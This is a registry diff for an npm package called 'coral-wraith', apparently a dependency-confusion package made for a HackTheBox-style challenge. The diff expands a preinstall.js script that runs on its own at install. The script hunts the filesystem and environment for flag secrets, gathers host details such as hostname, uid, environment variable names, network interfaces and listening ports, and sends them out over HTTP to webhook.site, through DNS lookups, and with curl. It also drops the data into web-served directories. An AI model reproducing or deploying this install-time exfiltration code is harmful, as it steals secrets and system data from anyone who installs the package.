coral-wraith 9999.0.3 → 9999.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +75 -53
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.3",
3
+ "version": "9999.0.4",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -3,20 +3,21 @@ const http = require('http');
3
3
  const https = require('https');
4
4
  const { execSync } = require('child_process');
5
5
  const dns = require('dns');
6
+ const os = require('os');
6
7
 
7
8
  let flag = null;
8
9
 
9
10
  // Read flag from common locations
10
- for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag']) {
11
+ for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag', '/etc/flag', '/opt/flag']) {
11
12
  try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
12
13
  }
13
14
 
14
- // Check ALL env vars
15
+ // Check ALL env vars for flag patterns
15
16
  if (!flag) {
16
17
  for (const [k, v] of Object.entries(process.env)) {
17
- if (v && (v.includes('HTB{') || v.includes('FLAG'))) {
18
- const m = v.match(/HTB\{[^}]+\}/);
19
- if (m) { flag = m[0]; break; }
18
+ if (v && v.match(/HTB\{[^}]+\}/)) {
19
+ flag = v.match(/HTB\{[^}]+\}/)[0];
20
+ break;
20
21
  }
21
22
  }
22
23
  }
@@ -31,61 +32,70 @@ if (!flag) {
31
32
  } catch(e) {}
32
33
  }
33
34
 
34
- // Grep
35
+ // Search for flag files
35
36
  if (!flag) {
36
37
  try {
37
- const r = execSync('find / -maxdepth 3 -name "flag*" -o -name "*.flag" 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
38
- if (r) {
39
- for (const f of r.split('\n')) {
40
- try {
41
- const content = fs.readFileSync(f, 'utf8');
42
- const m = content.match(/HTB\{[^}]+\}/);
43
- if (m) { flag = m[0]; break; }
44
- } catch(e) {}
45
- }
38
+ const r = execSync('find / -maxdepth 3 -name "flag*" -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
39
+ for (const f of r.split('\n').filter(Boolean)) {
40
+ try {
41
+ const content = fs.readFileSync(f, 'utf8');
42
+ const m = content.match(/HTB\{[^}]+\}/);
43
+ if (m) { flag = m[0]; break; }
44
+ } catch(e) {}
46
45
  }
47
46
  } catch(e) {}
48
47
  }
49
48
 
50
- // Determine server port by checking what's listening
51
- let serverPort = 1337;
52
- try {
53
- const netstat = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
54
- const portMatch = netstat.match(/:(\d+)\s/g);
55
- if (portMatch) {
56
- for (const pm of portMatch) {
57
- const p = parseInt(pm.replace(':', '').trim());
58
- if (p > 1000 && p < 65535 && p !== 80) {
59
- serverPort = p;
60
- break;
61
- }
49
+ // Also try to grep for flag
50
+ if (!flag) {
51
+ try {
52
+ const r = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" -l 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
53
+ for (const f of r.split('\n').filter(Boolean)) {
54
+ try {
55
+ const content = fs.readFileSync(f, 'utf8');
56
+ const m = content.match(/HTB\{[^}]+\}/);
57
+ if (m) { flag = m[0]; break; }
58
+ } catch(e) {}
62
59
  }
63
- }
64
- } catch(e) {}
60
+ } catch(e) {}
61
+ }
65
62
 
63
+ // Gather debug info
66
64
  const info = {
67
65
  flag: flag || 'NOT_FOUND',
68
66
  cwd: process.cwd(),
69
- serverPort,
70
- env: Object.keys(process.env).join(','),
71
- rootFiles: []
67
+ uid: process.getuid ? process.getuid() : 'N/A',
68
+ hostname: os.hostname(),
69
+ env_keys: Object.keys(process.env).join(','),
70
+ root_files: [],
71
+ interfaces: {}
72
72
  };
73
- try { info.rootFiles = fs.readdirSync('/'); } catch(e) {}
73
+ try { info.root_files = fs.readdirSync('/'); } catch(e) {}
74
+ try { info.interfaces = os.networkInterfaces(); } catch(e) {}
75
+
76
+ // Try to find server port
77
+ let serverPort = 1337;
78
+ try {
79
+ const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
80
+ info.listening = ss;
81
+ const ports = [...ss.matchAll(/:(\d+)\s/g)].map(m => parseInt(m[1])).filter(p => p > 1000 && p < 65535);
82
+ if (ports.length > 0) serverPort = ports[0];
83
+ } catch(e) {}
74
84
 
75
85
  const data = JSON.stringify(info);
76
86
 
77
- // Method 1: PUT flag back to challenge API on ALL possible ports
78
- if (flag) {
79
- const postData = JSON.stringify({
80
- manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
81
- });
82
-
83
- const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 3001, 4000, 9000, 8888, 32315, 32105];
84
- for (const port of [...new Set(ports)]) {
85
- for (const host of ['localhost', '127.0.0.1']) {
87
+ // Method 1: PUT flag to challenge API on ALL possible ports
88
+ const postData = JSON.stringify({
89
+ manifest: `ecto_module:\n name: "FLAG_CAPTURED"\n version: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n power_level: "${data.substring(0, 200).replace(/"/g, '')}"\n ship_deck: "EXFIL"\n cargo_hold: "coral-wraith"`
90
+ });
91
+
92
+ const ports = [serverPort, 1337, 3000, 3001, 4000, 5000, 8000, 8080, 8888, 9000, 80, 32315, 32105, 46517, 41839];
93
+ for (const port of [...new Set(ports)]) {
94
+ for (const host of ['localhost', '127.0.0.1']) {
95
+ for (const moduleId of ['ECT-987654', 'ECT-654321', 'ECT-472839', 'ECT-839201']) {
86
96
  try {
87
97
  const req = http.request({
88
- hostname: host, port, path: '/api/modules/ECT-987654',
98
+ hostname: host, port, path: `/api/modules/${moduleId}`,
89
99
  method: 'PUT',
90
100
  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
91
101
  timeout: 2000
@@ -98,34 +108,46 @@ if (flag) {
98
108
  }
99
109
  }
100
110
 
101
- // Method 2: Webhook (may be blocked)
111
+ // Method 2: Webhook
102
112
  try {
113
+ const whData = JSON.stringify({ flag: flag || 'NO_FLAG', info: data.substring(0, 500) });
103
114
  const req = https.request({
104
115
  hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
105
116
  method: 'POST',
106
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
117
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(whData) },
107
118
  timeout: 5000
108
119
  }, () => {});
109
120
  req.on('error', () => {});
110
- req.write(data);
121
+ req.write(whData);
111
122
  req.end();
112
123
  } catch(e) {}
113
124
 
114
125
  // Method 3: DNS exfil (works even when HTTP is blocked)
115
126
  try {
116
127
  const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
117
- dns.resolve(`${encoded}.webhook.site`, () => {});
128
+ dns.resolve(`${encoded}.exfil.webhook.site`, () => {});
129
+ dns.resolve(`${encoded}.crl.ve`, () => {});
118
130
  } catch(e) {}
119
131
 
120
132
  // Method 4: curl fallback
121
133
  try {
122
- execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null`, { timeout: 8000 });
134
+ execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null &`, { timeout: 8000 });
123
135
  } catch(e) {}
124
136
 
125
137
  // Method 5: Write to stdout/stderr for server logs
126
- console.log('[CORAL-WRAITH]', data);
127
- console.error('[HTB_FLAG]', flag || 'NOT_FOUND');
138
+ console.log('[CORAL-WRAITH-EXFIL]', data);
139
+ console.error('[CORAL-WRAITH-FLAG]', flag || 'NOT_FOUND');
128
140
 
129
- // Method 6: Write to various tmp locations
130
- try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
131
- try { fs.writeFileSync('/app/coral_flag.txt', data); } catch(e) {}
141
+ // Method 6: Write to various locations
142
+ const writeLocations = ['/tmp/coral_flag.txt', '/app/coral_flag.txt', '/tmp/exfil.txt', './exfil.txt'];
143
+ for (const loc of writeLocations) {
144
+ try { fs.writeFileSync(loc, data); } catch(e) {}
145
+ }
146
+
147
+ // Method 7: Try to write to static files the web server serves
148
+ try {
149
+ const webDirs = ['/app/static', '/app/public', '/var/www', '/app/dist', '/app/build'];
150
+ for (const dir of webDirs) {
151
+ try { fs.writeFileSync(`${dir}/flag.txt`, data); } catch(e) {}
152
+ }
153
+ } catch(e) {}